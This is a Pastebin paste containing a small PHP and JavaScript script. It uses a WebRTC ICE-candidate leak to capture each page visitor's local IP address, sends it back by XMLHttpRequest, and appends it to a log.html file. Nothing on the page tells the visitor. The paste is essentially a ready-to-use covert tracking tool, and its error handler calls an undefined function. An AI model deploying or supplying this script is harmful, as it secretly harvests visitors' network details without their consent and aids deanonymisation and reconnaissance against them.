Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- The IP will be logged in log.html file.
- <?php
- if($_SERVER['REQUEST_METHOD']=='POST'){
- $priv = htmlspecialchars($_POST['privIP']);
- $logFile = fopen("log.html","a");
- fwrite($logFile, "<strong>$priv</strong><hr>");
- fclose($logFile);
- }
- ?>
- <script>
- let t = new RTCPeerConnection;
- t.createDataChannel(""), t.createOffer().then(e => t.setLocalDescription(e)).catch(e => n(e)), t.onicecandidate = (t => {
- console.log(t.candidate.candidate.split(" ")[4]);
- var send = new XMLHttpRequest();
- send.open("POST", "index.php", true);
- send.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
- send.send("privIP="+t.candidate.candidate.split(" ")[4]);
- })
- </script>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement